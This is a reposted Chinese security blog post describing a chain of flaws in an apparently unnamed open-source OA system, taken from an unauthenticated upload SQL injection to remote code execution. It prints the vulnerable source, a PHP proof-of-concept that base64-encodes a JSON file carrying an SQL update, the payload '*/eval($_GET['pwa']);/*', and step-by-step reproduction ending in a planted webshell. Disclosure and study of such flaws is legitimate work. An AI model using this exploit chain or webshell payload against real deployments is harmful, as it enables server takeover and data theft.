记一次某开源OA白名单后缀限制下巧用系统设计getshell

admin 2025年3月18日22:39:18评论12 views字数 7119阅读23分43秒阅读模式

记一次某开源OA白名单后缀限制下巧用系统设计getshell

 原文链接:https://forum.butian.net/share/4132

白名单后缀限制下巧用系统设计getshell

0x01 路由情况

该 OA 的 action 主要是在 webmain 目录下

记一次某开源OA白名单后缀限制下巧用系统设计getshell

然后通过请求参数中的 dma 定位到具体的 action 中的方法进行调到

如 d=systam&m=admin|admin&a=login 相当于调用 webmain/system/admin/adminAction.php#login

记一次某开源OA白名单后缀限制下巧用系统设计getshell

而所有的 action 都会继承 mainAction,当我们请求某个 action 时首先会调用父类 mainAction 的 __construct,进行初始化的一些操作

记一次某开源OA白名单后缀限制下巧用系统设计getshell

其中我们发现有关鉴权的处理被子类的 initAction 所实现,比如 apiAction 中

记一次某开源OA白名单后缀限制下巧用系统设计getshell

0x02 前台注入

2.1 代码分析

在查看 initAction 的实现时发现有个类实现该方法未存在鉴权

记一次某开源OA白名单后缀限制下巧用系统设计getshell

且其功能点说明是上传文件,我们着重看一下怎么个事

publicfunctionxxxxAction()
{
if(!$_FILES)exit('sorry!');
$upimg  = c('upfile');
$maxsize= (int)$this->get('maxsize'$upimg->getmaxzhao());//上传最大M
$uptypes'jpg|png|docx|doc|pdf|xlsx|xls|zip|rar';
$upimg->initupfile($uptypes''.UPDIR.'|'.date('Y-m').''$maxsize);
$upses  = $upimg->up('file');
if(!is_array($upses))exit($upses);
$arr    = c('down')->uploadback($upses);
$arr['autoup'] = (getconfig('qcloudCos_autoup') || getconfig('alioss_autoup')) ? 1 : 0//是否上传其他平台
return$arr;
}

该方法主要是定义了白名单上传后缀 $uptypes,调用 up 方法进行上传后返回文件信息,然后调用 uploadback,跟进到其中

publicfunctionuploadback($upses$thumbnail=''$subo=true)
{
$msg        = '';
$data       = array();
if(is_array($upses)){

$fileext= substr($upses['fileext'],0,10);
$arrs   = array(
'adddt' => $this->rock->now,
'valid' => 1,
'filename'  => $this->replacefile($upses['oldfilename']),
'web'       => $this->rock->web,
'ip'        => $this->rock->ip,
'mknum'     => $this->rock->get('sysmodenum'),
//'mid'     => $this->rock->get('sysmid','0'),
'fileext'   => $fileext,
'filesize'  => (int)$this->rock->get('filesize'$upses['filesize']),
'filesizecn'=> $upses['filesizecn'],
'filepath'  => str_replace('../','',$upses['allfilename']),
'optid'     => $this->adminid,
'optname'   => $this->adminname,
'comid'     => m('admin')->getcompanyid(),
        );
$arrs['filetype'] = m('file')->getmime($fileext);

//判断是不是需要压缩jpg和jpeg
        ...

$bo = $this->db->record('[Q]file',$arrs);
if(!$bo)$this->reutnmsg($this->db->error());

$id = $this->db->insert_id();   

}

该方法主要是通过之前 up 方法上传文件返回的数组 $upses 和全局配置信息构造 $arrs,然后调用 $this->db->record 方法操作 $arrs

来到 record 方法

publicfunctionrecord($table,$array,$where='')
{
$addbool    = true;
if(!$this->isempt($where))$addbool=false;
$cont       = '';
if(is_array($array)){
foreach($arrayas$key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
        }
$cont   = substr($cont,1);
    }else{
$cont   = $array;
    }
$table = $this->gettables($table);
if($addbool){
$sql="insert into $table set $cont";
    }else{
$where = $this->getwhere($where);
$sql="update $table set $cont where $where";
    }
return$this->tranbegin($sql);
}

这里就直接操作 $array 为 key=value 格式然后逗号拼接后带入到 SQL 语句中执行

控制了$array 中的内容就能实现 SQL 注入,而其中filenamefilepathfiletype等这几个键的内容是通过上传文件获取到的,那我们对上传文件名做文章是不是就可以造成 sql 注入呢。

publicfunctionup($name,$cfile='')
{
if(!$_FILES)return'sorry!';
$file_name      = $_FILES[$name]['name'];
$file_size      = $_FILES[$name]['size'];//字节
$file_type      = $_FILES[$name]['type'];
$file_error     = $_FILES[$name]['error'];
$file_tmp_name  = $_FILES[$name]['tmp_name'];
$zongmax        = $this->getmaxupsize();    
if($file_size<=0 || $file_size > $zongmax){
return'文件为0字节/超过'.$this->formatsize($zongmax).',不能上传';
    }
    ...
returnarray(
'newfilename' => $file_newname,
'oldfilename' => $file_name,
'filesize'    => $file_size,
'filesizecn'  => $file_sizecn,
'filetype'    => $file_type,
'filepath'    => $save_path,
'fileext'     => $file_ext,
'allfilename' => $allfilename,
'picw'        => $picw,
'pich'        => $pich
        );
    }else{
return'上传失败:'.$this->geterrmsg($file_error).'';
    }
}

通过 up 方法的返回值构造可以看到 oldname 其实就是上传文件的文件名,这也证实我们的想法。

2.2 漏洞复现

记一次某开源OA白名单后缀限制下巧用系统设计getshell

0x03 扩大危害 RCE

3.1 漏洞点

该 cms 自己实现了写入文件接口,我们查看其用法中写入

记一次某开源OA白名单后缀限制下巧用系统设计getshell

通过这么多处调用我们发现有一处调用会写入 php 中

$apaths = ''.P.'xxxx/mode_'.$modenum.'Action.php';
$apath = ''.ROOT_PATH.'/'.$apaths.'';
if(!file_exists($apath)){
$stra = '<?php
    /**
    *   此文件是【'
.$modenum.'.'.$rs['name'].'】。
    */ 
    ....
    '
;
$this->rock->createtxt($apaths$stra);

}

要是我们能控制 $modenum 或是 $rs['name'] 的内容就可以 getshell,不过 $modenum 同时也控制了文件名所以我们只能通过控制 $rs['name'] 来 getshell。

$setid  = (int)$this->get('setid','0');

$rs     = m('flow_set')->getone("`id`='$setid'");
if(!$rs)exit('sorry!');
$rs['xxx'] = count(explode(',', (string)$rs['tables']));

$modenum    = $rs['num'];

而 $rs 数组是由 flow_set 数据库获取到的,

记一次某开源OA白名单后缀限制下巧用系统设计getshell

下面是 flow_se 默认的数据信息,要是我们可以插入或者修改数据就可以。

3.2 寻找漏洞触发点

根据常规思路我们只要寻找有插入 flow_set 表的方法即可。还真被我找到一个

publicfunctionxxxAction()
{
$name       = $this->rock->xssrepstr($this->post('name'));
$fields     = c('pingyin')->get($name,1);
    ..
$num        = 'zz'.$fields.'';

$id         = 0;
$uarr['name'] = $name;
$uarr['num']  = $num;
$uarr['table']  = $num;

    ...
$id = m('flow_set')->insert($uarr);

构造 poc,闭合前面写入文件时的注释为

*/eval($_GET['a']);/*

实际发现在 $this->rock->xssrepstr 中对特殊字符做了处理

publicfunctionxssrepstr($str)
{
$xpd  = explode(',','(,), , ,<,>,\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;'');
$xpd[]= "n";
return str_ireplace($xpd''$str);
}

括号之类的都被过滤点了,这个利用点看来无法利用了,那我们只能再找找有没有可以执行 SQL 语句且传参会不进行过滤的点。

通过在 web 目录下查找系统重写的 sql 执行方法 query,在某处方法中找到疑似执行任意 sql 语句的方法

if(getconfig('systype')=='demo')exit();
if($this->adminid!=1)return'只有ID=1的管理员才可以用';
$folder = $this->post('folder');
$sida   = explode(','$this->post('sid'));
$alltabls   = $this->db->getalltable();
$shul   = 0;
$tablss = '';
foreach($sidaas$id){
$ids    = substr($id,0,-5);
$ida    = explode('_'$ids);
$len    = count($ida);
$fieldshu = $ida[$len-2];
$total  = $ida[$len-1];
$tab    = str_replace('_'.$fieldshu.'_'.$total.'.json',''$id); //表

$filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';
if(!file_exists($filepath))continue;

$data     = m('beifen')->getbfdata('',$filepath);
if(!$data)continue;
$dataarr    = $data[$tab];
//表不存在
if(!in_array($tab$alltabls)){
$createsql = arrvalue($dataarr'createsql');
if($createsql){
$this->db->query($createsqlfalse);
        }else{
continue;
        }
    }

在该方法中通过处理传入的 sid,获取 table 名,如果 table 名不在数据库所有表名中时,会获取某个目录下 $sid 名的文件内容作为数组并取得 createsql 的内容进行 sql 语句执行。

那么就是说如果 sid 可控文件内容,同时 sid 不在表内那么我们就能构造修改 flow_set 数据的 sql,而且目录 folder 也是可控的,似乎离成功近在咫尺了,我们找找有没有方法可以写入文件。

在用上面方法寻找文件写入的方法是我们发现好多文件名都是带了随机数,这不太好控制其位置,所以我们要找一个文件名不带随机数的写入点。

比如下面这个

publicfunctionsavetopdfAjax()
{
$imgbase64 = $this->post('imgbase64');
if(isempt($imgbase64))return returnerror('无数据');
$path = ''.UPDIR.'/logs/'.date('Y-m').'/abc.png';
$bo = $this->rock->createtxt($path, base64_decode($imgbase64));
if(!$bo)return returnerror(''.UPDIR.'目录无写入权限');

$pa1 = ''.ROOT_PATH.'/include/fpdf/fpdf.php';
if(!file_exists($pa1))return returnerror('没有安装fpdf插件');
include_once($pa1);

$fpdf = new FPDF();
$fpdf->AddPage();
$fpdf->Image($path,0,0);

$fpdf->Output('F',''.UPDIR.'/logs/'.date('Y-m').'/to.pdf');
$this->showreturn('ok:'.$fpdf->GetPageHeight().'');
}

该方法首先是根据 imgbase64 上传一个 abc.png 文件,其次是一个 pdf 文件,因为默认没这个插件所以实际发包会报错,但不影响 abc.png 上传操作的执行。

于是构造文件内容的 poc 为

<?php
$arr = array(
"abc.png" => array("createsql" => "update flow_set set name="*/eval($_GET['pwa']);/*"  where id=160;")
    );
echo base64_encode(json_encode($arr));

第一层数组的键为文件名,为得是符合上面方法中 $dataarr= $data[$tab] 获取到我们后面数组 $tab 其实就是传入的文件名参数。第二层数组就是实际执行的 SQL 语句,其实 id 值是默认数据库中最后一行数据的 id 值。

此方法上传的文件位置为 upload/logs/2024-12/abc.png

3.3 漏洞复现

整个过程就是

  1. savetopdfAjax

     上传内容为恶意 sql 语句的图片。
  2. 请求接口触发图片内容中的恶意 SQL 语句
  3. 将更新数据表后带有 payload 的 name 值写入到 php 文件中,成功实现 getshell。

首先上传图片

记一次某开源OA白名单后缀限制下巧用系统设计getshell
记一次某开源OA白名单后缀限制下巧用系统设计getshell

flow_set 表中默认的数据都是存在相应的 PHP 文件的,我们得新插入一条数据进行上述操作才能生成恶意的 php 文件。

记一次某开源OA白名单后缀限制下巧用系统设计getshell

我们用之前找到的插入 flow_set 数据的接口进行插入

此时数据表为

记一次某开源OA白名单后缀限制下巧用系统设计getshell

记住这个 id 和 num 的值,我们根据 id 值重新生成 abc.png 的内容,然后进行恶意 sql 更新

记一次某开源OA白名单后缀限制下巧用系统设计getshell
记一次某开源OA白名单后缀限制下巧用系统设计getshell

通过数据表可以看到成功修改了数据表中的内容,然后我们需要触发 php 文件的写入

记一次某开源OA白名单后缀限制下巧用系统设计getshell

找到 mode_zzmixnpgAction.php,可以看到成功写入

记一次某开源OA白名单后缀限制下巧用系统设计getshell

因为该文件在 web 目录下所以我们可以通过系统的路由方式来访问

记一次某开源OA白名单后缀限制下巧用系统设计getshell

可以看到成功执行代码。

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

原文始发于微信公众号(黑白之道):记一次某开源OA白名单后缀限制下巧用系统设计getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月18日22:39:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次某开源OA白名单后缀限制下巧用系统设计getshellhttps://cn-sec.com/archives/3815124.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息